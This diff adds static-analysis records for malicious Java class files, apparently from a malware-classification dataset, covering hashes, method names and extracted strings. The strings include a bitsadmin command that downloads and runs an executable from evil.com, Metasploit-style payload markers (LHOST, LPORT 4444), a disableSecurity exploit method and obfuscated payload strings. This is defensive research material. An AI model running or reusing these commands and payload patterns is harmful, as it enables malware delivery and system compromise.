"\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 28kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 30kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 33kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 35kb", "sms5", "sms_d5", "12", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0!\\xd0\\x9d\\xd0\\xb0 \\xd1\\x81\\xd0\\xb5\\xd1\\x80\\xd0\\xb2\\xd0\\xb5\\xd1\\x80\\xd0\\xb5 \\xd1\\x82\\xd0\\xb5\\xd1\\x85\\xd0\\xbd\\xd0\\xb8\\xd1\\x87\\xd0\\xb5\\xd1\\x81\\xd0\\xba\\xd0\\xb8\\xd0\\xb5 \\xd1\\x80\\xd0\\xb0\\xd0\\xb1\\xd0\\xbe\\xd1\\x82\\xd1\\x8b.\\xd0\\x9f\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd1\\x87\\xd0\\xb5\\xd1\\x80\\xd0\\xb5\\xd0\\xb7 30-60 \\xd0\\xbc\\xd0\\xb8\\xd0\\xbd.", "sms://844471", "\\xd0\\x98\\xd0\\xb7\\xd0\\xb2\\xd0\\xb8\\xd0\\xbd\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd1\\x81\\xd0\\xb5\\xd1\\x80\\xd0\\xb2\\xd0\\xb5\\xd1\\x80 \\xd0\\xbd\\xd0\\xb5 \\xd0\\xb4\\xd0\\xbe\\xd1\\x81\\xd1\\x82\\xd1\\x83\\xd0\\xbf\\xd0\\xb5\\xd0\\xbd.\\xd0\\x9f\\xd0\\xbe\\xd0\\xbf\\xd1\\x80\\xd0\\xbe\\xd0\\xb1\\xd1\\x83\\xd0\\xb9\\xd1\\x82\\xd0\\xb5 \\xd0\\xbf\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd1\\x8c \\xd1\\x87\\xd0\\xb5\\xd1\\x80\\xd0\\xb5\\xd0\\xb7 24 \\xd1\\x87\\xd0\\xb0\\xd1\\x81\\xd0\\xb0. "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0c7da11471c4e23d5bca865bda5d4e704f0a1b21", "file_name": "java_malicious/3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507", "_id": "41270511-c793-4274-8873-a1b0a20322bd", "score": 0, "entropy": 5.928455873196009, "libmagic": "compiled Java class data, version 45.3", "file_size": 9030, "ssdeep": "96:7eiH5SwmExt1XH/YRZFn/KZqsZb0SqpIEfjqTCa2XE0TqTCa2IHj2qTCa2JRHcqL:RH4/EtAL9yZDtHgTU0PTIDoTJRHbL", "sha256": "3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507", "md5": "08a987f81731f7e5d43fd3e5aa4fb1c3", "parent_sha256": "3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651.results b/java_classification/data/malicious/3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651.results new file mode 100755 index 0000000..b155197 --- /dev/null +++ b/java_classification/data/malicious/3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "bmPJSyabTd/HGRrBAr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "b81efcb5-378e-442e-a638-bb79019c4279", "verbose": {"java": {"constant strings": ["bmPJSyabTd.HGRrBAr", ".class", "/bmPJSyabTd.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "bmPJSyabTd.dat", "URL", "", "https:", "bmPJSyabTd/HGRrBArTrustManager.class", "HGRrBArTrustManager.class", "AESPassword", "bmPJSyabTd/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "bmPJSyabTd.HGRrBArTrustManager", "useFor", "java.net.URLConnection", "bmPJSyabTd.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "HGRrBAr -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e429248aa2b44ced29780f5b8a58106fba988932", "file_name": "java_malicious/3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651", "_id": "b81efcb5-378e-442e-a638-bb79019c4279", "score": 0, "entropy": 6.149157105245226, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMIDUBB+WuzThmkUxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1t4BgtmFyNvpvUrKYvCkgHzbDrDF", "sha256": "3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651", "md5": "a0ad47ddacbb6cd79bbebf274b55e169", "parent_sha256": "3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba.results b/java_classification/data/malicious/4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba.results new file mode 100755 index 0000000..fda4a88 --- /dev/null +++ b/java_classification/data/malicious/4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IigkH.java", "class_name": "JGXgwWYpp/XhaoRRWaJ", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "mUyijr", "FQosSgAId", "SPVMuB", "ADejJL", "LwIJv", "VgqSciqj"], "minor_version": 0, "const_pool_count": 151}}, "_id": "743186da-284c-4f59-97fd-fac87a223dcb", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.442869013051812}, "constant strings": ["\\x04\\x1b\\x1b\\t\\x18\\x15\\x04\\x1b\\x0b\\x04\\x1e\\t\\r\\x1f", "\\x04\\x06\\x06", "\\x08\\n\\x1f\\r", "\\x1e\\x18\\x15\\t", "\\x1a\\x0b\\x08\\x1f\\r", "\\x1c\\r\\x1e\\x1f\\t%\\x02\\x18", "\\x06\\r\\x1a\\rB\\xc0\\x80\\r\\x02\\x0bB?\\x18\\x1e\\x05\\x02\\x0b", "\\x0b\\t\\x18<\\x1e\\x03\\x1c\\t\\x1e\\x18\\x15", "\\x06\\r\\x1a\\rB\\x1a\\t\\x1e\\x1f\\x05\\x03\\x02", "\\x08\\x08\\x08\\x1f\\x08\\x1f\\n", "\\x1f\\x08\\x08\\x1f", "\\x0b\\x08\\x04\\x0b\\n\\n\\x0b", "\\x06\\x0b\\x04\\x07\\x06\\xc0\\x80", "3", "0B", "\\\\\\\\", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "43a61e618aa2d137cf7527084bc33419e447c304", "file_name": "java_malicious/4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba", "_id": "743186da-284c-4f59-97fd-fac87a223dcb", "score": 0, "entropy": 5.861625182653876, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3265, "ssdeep": "48:Gb7x9HyFlN0f7sR7Cdd34w2O+C4EPBRLYAmAvleH3PC+Ngt73CCd25VTD3ui/C:Gb9YFlNmeCgAmAvleH3TgtN25D6", "sha256": "4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba", "md5": "a915b6c9f07efa70830b93ea1c333c18", "parent_sha256": "4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e.results b/java_classification/data/malicious/4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e.results new file mode 100755 index 0000000..c742ed7 --- /dev/null +++ b/java_classification/data/malicious/4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "exploit/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "disableSecurity", "GetClass", "SetField", "init", "paint", "main"], "minor_version": 0, "const_pool_count": 167}}, "_id": "f3aec8a1-a8ac-45a5-a3a9-ce3ac09943de", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.762661775546799, "obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "getField"}}}, "constant strings": ["setSecurityManager", "file:///", "acc", "forName", "sun.awt.SunToolkit", "getField", "bitsadmin /transfer myjob /download /priority high http://evil.com/lulz.exe c:\\\\lulz.exe&start lulz.exe", "Loading"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8603731ab8aeed8b27e46cff54267d7ed1405429", "file_name": "java_malicious/4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e", "_id": "f3aec8a1-a8ac-45a5-a3a9-ce3ac09943de", "score": 10, "entropy": 5.519770002704262, "libmagic": "compiled Java class data, version 51.0", "file_size": 3406, "ssdeep": "48:mrCw1s+MyFlouqFdh6uD6jPyZ1iBYiZapvUuS9MUjHjClmGQbWkfvHc24dzHJp50:sx1s+NFlJSwhZaOp/X/2JdpZwn", "sha256": "4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e", "md5": "d5d8c3a21e30ab29eebf4e8ec2fcbc2a", "parent_sha256": "4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/41aa199f6f646f1c81ca0df06c2708280fd58d0e4fd5d241e2b54e9f7dd90fba.results b/java_classification/data/malicious/41aa199f6f646f1c81ca0df06c2708280fd58d0e4fd5d241e2b54e9f7dd90fba.results new file mode 100755 index 0000000..9dc519a --- /dev/null +++ b/java_classification/data/malicious/41aa199f6f646f1c81ca0df06c2708280fd58d0e4fd5d241e2b54e9f7dd90fba.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Class3.java", "class_name": "Class3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "decode_str", "char_at", "get_func", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 166}}, "_id": "9ccdabcb-9bc6-4e9f-bcef-cb2b6dcdea29", "verbose": {"java": {"constant strings": ["89809264898E8F7C897E80", "81848780554A4A4A", "D004C0C406060636068D100632063D10063E063F0D064010064106420E06430E064410064106450D06460D06470E0648100649064A10060F064B10060F064C10060E064D0D064E100615063D0D064F0D06500D0651100619063D0E0652100641065310061906540E06551006190656100618064B100617065710060E06580E065910065A065B0E065C0E065D0E065E100615065F10061506601006150661100617065F10060E06611006170661100662066310066206640D06650D06660D06670D066807060C426F746F7A440706092E2F5C07060A49756A6B070615526F746B547B73686B785A6768726B070609787B7407061A2E2F5270677C67357267746D355568706B697A410706104B7E696B767A6F75747907061059757B78696B4C6F726B07061149726779793A3470677C6712063406350D066912066A066B07062D70677C6735796B697B786F7A7F3556786F7C6F726B6D6B6A47697A6F75744B7E696B767A6F75740D066C12066D066E0706146E7A7A7634716B6B7667726F7C6B07060B6C6772796B12066F067007062170677C67356F7535487B6C6C6B786B6A4F74767B7A597A786B677307061270677C6735746B7A355B5852070706", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626264E5A5A764035356C726F6B78797A", "787B797A6F746D34686F80356A3A393B7E4D513D7353605B48566C35377A5A80", "0D0671120672067312063406741206750676120634067707062370677C67356F7535487F7A6B477878677F557B7A767B7A597A786B677307062270677C67356F7535487B6C6C6B786B6A557B7A767B7A597A786B677307061E70677C67356F75354C6F726B557B7A767B7A597A786B677307061C70677C67357267746D35597A786F746D487B6C6C6B7807060A5A4B5356120678067912067A067B07060E35737578346B7E6B12067C0673120634067D12067E067F07060B", "3636363E36", "0D0680120681068207060B", "3636363D3B", "07060B", "3636363F36", "3636363B3B", "1206830684120685068612068706350D0688120689068A12068B068C07061970677C67357267746D354B7E696B767A6F757407060C49726779793A07061670677C67357267746D355568706B697A07062D70677C6735796B697B786F7A7F3556786F7C6F726B6D6B6A4B7E696B767A6F757447697A6F757407062470677C6735796B697B786F7A7F354769696B79794975747A787572726B780706126A7556786F7C6F726B6D6B6A0706432E5270677C6735796B697B786F7A7F3556786F7C6F726B6D6B6A4B7E696B767A6F757447697A6F7574412F5270677C67357267746D355568706B697A4107061670677C67357267746D35597F797A6B73070618796B7A596B697B786F7A7F536774676D6B780706242E5270677C67357267746D35596B697B786F7A7F536774676D6B78412F5C070611796B7A567875766B787A7F07063E2E5270677C67357267746D35597A786F746D415270677C67357267746D35597A786F746D412F5270677C67357267746D35597A786F746D4107061670677C67357267746D35597A786F746D07060A7A786F7307061A2E2F5270677C67357267746D35597A786F746D4107061B2E5270677C67357267746D35597A786F746D412F5C07061075766B74597A786B677307061D2E2F5270677C67356F75354F74767B7A597A786B67734107061E2E5270677C67356F75354F74767B7A597A786B6773412F5C07060C6D6B7A6B747C07062C2E5270677C67357267746D35597A786F746D412F5270677C67357267746D35597A786F746D4107060C6776766B746A0706322E5270677C67357267746D35597A786F746D412F5270677C67357267746D35597A786F746D487B6C6C6B784107060E7A75597A786F746D0706202E5270677C67356F7535557B7A767B7A597A786B6773414F2F5C07060A786B676A07060D2E61484F4F2F4F07061770677C67357267746D354F747A6B6D6B7807060E766778796B4F747A07061B2E5270677C67357267746D35597A786F746D412F4F07060B7D786F7A6B07060D2E61484F4F2F5C0706117A75487F7A6B477878677F07060A2E2F614807060B697275796B07061770677C67357267746D35587B747A6F736B0706106D6B7A587B747A6F736B07061B2E2F5270677C67357267746D35587B747A6F736B4107060A6B7E6B6907062D2E5270677C67357267746D35597A786F746D412F5270677C67357267746D35567875696B79794106270631063206070633060606080607063406350607063606060644060706080606061430BD060730BE06085DAD060A52B70607060A060F06120609060706370606061C060B06060610060A0613060F06180612061506130619060706380639060806360606082B060C06120606077B07BE060A170A06C20E52094309440A3C0A180B180CBE060D5DC1060E5FC1060F5F1810BC0611BD0612BC0613BD0614400BC106155FBD0616400CC106175FC106185FC106195FBD061A181BBE061CBC061D181EBC061DBC061FBD0620170A06BD0621400D1F0B3109170A06BC06225F43A1068723226644093C0E1B0E22A8066F23226A1B0E660D76A00619311B0E62391823BE062488975AAD064E23226A1B0E660D760AA60619311B0E62391825BE062488975AAD063223226A1B0E660D760BA60619311B0E62391826BE062488975AAD0616311B0E62391827BE062488975A8A0E07AD059D1F0C310922BC0628AD057C093C0E1F0CBC0629400F1F0CBC062A1F0FC43C10093C111B111B100B72A806311F0F1B11393C0E1F0F1B111F0F1B101B116A0A6A395A1F0F1B101B116A0A6A1B0E5A8A1107AD05D81F0D1F0F091B10BC062B1F0BBC062C1F0DBC062DBE062E40111F11C106195FBD061A181BBE061CBC061D181EBC061DBC061FBC062F5DAD060A5207B60607060A077507780630060706370606069C062B0606061D060A0620061006210614062206170623061F06240637062506400626066A062706790629067D062A0686062C0691062E06A1063006AD063206BD063406C9063606D9063A06E6062A06EC063D06F7063F06FA06400601064107060642070B064307170645071E0646072D064707390643073F06490749064A074E064B0753064C0758064D077506520778064F07790653063A0606060A060706300607063B0606060806", "3C"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5d256762a8177dd49c5d3d31580a18a27b8c4d24", "file_name": "java_malicious/41aa199f6f646f1c81ca0df06c2708280fd58d0e4fd5d241e2b54e9f7dd90fba", "_id": "9ccdabcb-9bc6-4e9f-bcef-cb2b6dcdea29", "score": 0, "entropy": 5.166931183008838, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7664, "ssdeep": "192:6lTP6c3J8aaaaar7sKIPk/FQjZK1BaluFC:6ZSctCkdn1igC", "sha256": "41aa199f6f646f1c81ca0df06c2708280fd58d0e4fd5d241e2b54e9f7dd90fba", "md5": "f6c26ca7c7cd5fa2e369b931c1d0f059", "parent_sha256": "41aa199f6f646f1c81ca0df06c2708280fd58d0e4fd5d241e2b54e9f7dd90fba"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4247fea3ab6c2870ca2afcc66ef37e9be31bc683af05efe80a5d19d2c723762a.results b/java_classification/data/malicious/4247fea3ab6c2870ca2afcc66ef37e9be31bc683af05efe80a5d19d2c723762a.results new file mode 100755 index 0000000..ab640d4 --- /dev/null +++ b/java_classification/data/malicious/4247fea3ab6c2870ca2afcc66ef37e9be31bc683af05efe80a5d19d2c723762a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 46, "class_name": "vuln/Link", "access_permissions": ["ACC_PUBLIC"], "interfaces": ["java/util/Map$Entry"], "sourcefile": "Link.java", "method_names": ["", "getKey"], "minor_version": 0, "const_pool_count": 34}}, "_id": "f5eb8dfd-de95-4a81-9b26-5402bb13f39d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b8331215fb6a0c696f7318b9cee5cec04cfdf7d1", "file_name": "java_malicious/4247fea3ab6c2870ca2afcc66ef37e9be31bc683af05efe80a5d19d2c723762a", "_id": "f5eb8dfd-de95-4a81-9b26-5402bb13f39d", "score": 0, "entropy": 5.029591375221741, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 672, "ssdeep": "12:blIVOm+2IW2xzMtlwJlPsomtv/MOu/25Y/XIWaI0Q1lXdN3lXmAkfwlFs:blsOB2x23Jljmtl58XxaTQvX9gfQFs", "sha256": "4247fea3ab6c2870ca2afcc66ef37e9be31bc683af05efe80a5d19d2c723762a", "md5": "3013c223a80371bca0798e1c21683305", "parent_sha256": "4247fea3ab6c2870ca2afcc66ef37e9be31bc683af05efe80a5d19d2c723762a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/429f90ed6a0d430017d5f9326524f692cadc5eaada820d9365afd9ff6383df77.results b/java_classification/data/malicious/429f90ed6a0d430017d5f9326524f692cadc5eaada820d9365afd9ff6383df77.results new file mode 100755 index 0000000..94fb61e --- /dev/null +++ b/java_classification/data/malicious/429f90ed6a0d430017d5f9326524f692cadc5eaada820d9365afd9ff6383df77.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 101}}, "_id": "73313cb0-858c-45ab-b77e-6ccbf4ff035e", "verbose": {"java": {"constant strings": ["Y0000000000000000IQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,Pj,0N,pn,pn,pN,pN,pJ,0Y,yk,K7,p7,pS,0a,O5,4m,qf,P3,0g,pW,pL,K3,pv,ll,KB,Pe,Ln,ML,K1,xu,pM,PS,MD,LV,S0,t7,sm,Fz,KJ,SN,kS,Xg,xl,Ky,gP,jf,dp,YM,8n,og,pe,Pg,pm,2J,Yq,xP,ob,NG,pE,Pu,8b,Ur,Rb,L2,Mb,tI,oR,6L,KI,xk,X4,9G,pW,pg,pn,k9,Gg,7K,0w,O5,P2,Uk,J7,73,gP,GO,pW,OW,p0,uk,JN,kX,oa,O5,cy,YM,QJ,Lu,T5,QS,0U,PN,k9,Lb,qv,2a,Cr,HG,tU,Qe,PU,P9,os,f4,Lr,zP,YP,QP,RL,KG,rv,3S,so,pu,kw,pB,UK,JM,QQ,kk,LV,NP,e2,XS,U4,57,sO,sH,kv,ho,yW,sJ,gq,S3,4v,N1,uS,Hb,EY,VW,3e,XG,p1,Km,Zo,1s,4t,pN,hq,UU,Pt,sy,Pp,Pp,PR,sV,7f,0y,o3,fV,pn,cL,8u,Pr,Uf,fR,JV,af,3Y,oq,FG,tq,Jr,yO,sK,rG,t3,qO,p5,jG,p1,eN,Tk,O2,v7,xr,qq,FN,kR,U7,LN,kR,T0,5r,X3,3h,uF,6N,kp,vg,Pv,cj,U5,cz,i1,Yw,1N,Mt,CX,EE,ck,kV,om,nV,p0,8l,2a,dD,Hz,ax,Kv,mg,s9,JS,p8,k9,aU,k7,oP,uk,Wa,Nl,Ka,Ne,tu,SK,mP,fN,k6,l0,Kl,Ka,NU,Lv,cK,mN,ku,TN,kT,Ck,un,Kq,Nr,yJ,cy,x3,0y,oi,o9,oL,Np,NT,Nh,lo,hk,NO,zT,Ns,Nn,8y,r2,SP,3k,zN,j3,kU,ff,zT,ob,PP,Mu,42,KR,JP,ns,sQ,EB,lU,P3,XP,tT,4p,pT,zF,O4,os,Ru,5D,4t,9r,Op,k6,NC,YP,nU,62,Ot,op,p5,1q,wU,54,ob,N2,Eb,Wp,sv,Np,pQ,x0,pv,O2,N4,pd,pp,36,Q4,pp,6T,r0,0t,qt,sU,aW,Hr,Rt,pd,tT,pV,YS,zP,0s,RV,Pt,pT,pT,vV,Pf,QR,rD,yW,H0,0d,sV,R5,41,vB,DS,gQ,up,80,ae,16,V2,D3,Tc,Q0,XS,St,sq,rQ,ru,cP,cV,QW,Is,if,Xs,Va,r4,uv,Y4,p1,vf,W3,jV,Pv,Q6,PP,0R,F4,p0,8T,p7,pS,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "le:/", "/aac/", "fi", "X"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "36753d8c7454bb2b956042442b4cc6e25e05a4b7", "file_name": "java_malicious/429f90ed6a0d430017d5f9326524f692cadc5eaada820d9365afd9ff6383df77", "_id": "73313cb0-858c-45ab-b77e-6ccbf4ff035e", "score": 0, "entropy": 6.003535069433874, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3151, "ssdeep": "48:IVijNchyFlBzYnb3joDiZaXJ7lI5WxemxtgAhn8aFAZ6IkFxMRBHmJkPq70f9uYB:lRLFlQ9aKW8mxtXhLEj6WLGJa+0Fuc", "sha256": "429f90ed6a0d430017d5f9326524f692cadc5eaada820d9365afd9ff6383df77", "md5": "bbb35d4dc2e3a3ef57938e8b3007888d", "parent_sha256": "429f90ed6a0d430017d5f9326524f692cadc5eaada820d9365afd9ff6383df77"}} \ No newline at end of file diff --git a/java_classification/data/malicious/44654000808d215161d6ead2afe9b0369d91fec1da183202dfbfa5d2b243a7d6.results b/java_classification/data/malicious/44654000808d215161d6ead2afe9b0369d91fec1da183202dfbfa5d2b243a7d6.results new file mode 100755 index 0000000..a6ab030 --- /dev/null +++ b/java_classification/data/malicious/44654000808d215161d6ead2afe9b0369d91fec1da183202dfbfa5d2b243a7d6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "33509f12-81ca-483f-821e-16141b298410", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pn,pn,pL,PL,Pz,0L,Pn,pL,PL,Pz,HW,pu,Pg,pW,pZ,Kw,pM,9K,LU,PU,Pe,P1,OS,TY,1T,pE,PW,p7,pT,8V,lL,Kq,PV,lL,Kp,pE,LN,ML,K1,xW,xJ,Ku,YN,kw,0d,tl,MG,0Q,ln,kS,XW,LN,kX,wc,ZF,dr,yk,XN,og,pc,05,Pz,Bk,Is,Xr,OR,Nu,P5,Ps,X1,ed,2p,lR,Ms,dk,OD,Vn,km,8Z,HR,Yu,PW,p7,pN,kJ,ww,7O,pg,Ou,PQ,eK,Jq,Wp,Wq,WM,PW,Ow,pp,uH,zn,kj,O3,ou,cz,iN,az,Lt,Dg,q7,pu,Pl,Ky,LP,QP,RP,Sq,xW,tW,qU,Pu,Pi,oc,fF,lQ,Ja,IR,q6,2L,Kt,BS,cS,sm,Pw,KE,Pd,5X,zm,Qs,KI,l4,nq,ur,Xq,up,uU,SM,SZ,Kw,xK,9C,3z,gr,ce,T4,nQ,uS,He,5o,61,Su,Xw,pQ,KL,JI,QE,Tv,PK,8S,uW,pF,Sk,pr,pp,Pc,c2,wP,Pk,O3,fv,pL,Cl,8G,pR,Uv,fP,jS,1b,sK,Op,V5,Ts,ja,IM,Sz,bg,t3,qm,PW,Js,0s,EL,tk,OR,v4,Hf,1f,6N,kt,5g,LL,Ks,DV,N3,HG,sx,uR,vL,Kp,v7,PG,sx,uD,sO,9W,9q,Ql,mU,Sk,uf,SK,kf,om,nV,pw,J8,VD,4w,x9,QJ,kF,mt,CZ,zq,Pj,Kz,Qg,KW,oC,EY,wQ,NN,kS,nu,te,Sy,MQ,vn,kv,lp,KN,kc,n5,LS,3y,MN,k5,Tl,K5,Si,UL,kS,nP,YO,3M,8i,oY,nk,OK,Ol,Np,NV,nx,lz,8k,Nn,j6,nC,N9,HJ,B3,Ct,s8,Jl,JQ,KP,6w,jT,op,pp,Eu,3w,1v,7C,0Q,xB,TD,4P,p7,JT,ov,Oq,dQ,qT,3R,M1,qr,NQ,yp,ab,Na,dp,iQ,w1,ub,Rb,Rp,oB,SR,EF,NP,cr,O0,mD,o0,nQ,uQ,gP,sd,o2,MS,Qq,br,CQ,xF,Ns,Xc,D0,mP,l6,Or,Nv,P6,Pp,8E,at,pV,Vf,RF,PP,1V,Sf,Qp,8b,Rd,pu,dv,PV,YS,zV,P0,f6,Pf,PT,pd,vD,pv,QB,r6,W5,hU,et,pP,7s,QT,uS,Qp,Ws,V0,7r,Fu,hp,4d,tQ,td,yV,81,sv,Pc,S1,uP,3S,Uu,bp,8C,iV,XU,2p,74,yu,55,aP,6P,7Q,J4,pf,Qf,Pp,02,Fv,Pp,76,PS,03,0A,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "39d1d9de7f48e9365f966c11fd45ccbf798f7ff4", "file_name": "java_malicious/44654000808d215161d6ead2afe9b0369d91fec1da183202dfbfa5d2b243a7d6", "_id": "33509f12-81ca-483f-821e-16141b298410", "score": 0, "entropy": 5.984023425720384, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3150, "ssdeep": "96:hFFlOgbHRFMRx29Zod2OXRxC92XQjt9bKsCn:1lNPRVOXRxEkQpRKx", "sha256": "44654000808d215161d6ead2afe9b0369d91fec1da183202dfbfa5d2b243a7d6", "md5": "4b8b347e06806f8e877f823894052e9b", "parent_sha256": "44654000808d215161d6ead2afe9b0369d91fec1da183202dfbfa5d2b243a7d6"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4493924958baf8116df59542fdf57bbca7e682ed25123126065a8f5255ec2dcf.results b/java_classification/data/malicious/4493924958baf8116df59542fdf57bbca7e682ed25123126065a8f5255ec2dcf.results new file mode 100755 index 0000000..6225920 --- /dev/null +++ b/java_classification/data/malicious/4493924958baf8116df59542fdf57bbca7e682ed25123126065a8f5255ec2dcf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Pimm", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Tfs", "GNJ"], "minor_version": 0, "const_pool_count": 101}}, "_id": "3e053c65-4ccb-4779-8446-adaf16e0ff6f", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0", "file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "ndom"}}}, "constant strings": ["ra", "ndom", "java.iWo.FileWOWutputStrWeam"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "959ab93a15344296802854f15c2b359b64a2862a", "file_name": "java_malicious/4493924958baf8116df59542fdf57bbca7e682ed25123126065a8f5255ec2dcf", "_id": "3e053c65-4ccb-4779-8446-adaf16e0ff6f", "score": 0, "entropy": 5.5476401211902955, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1553, "ssdeep": 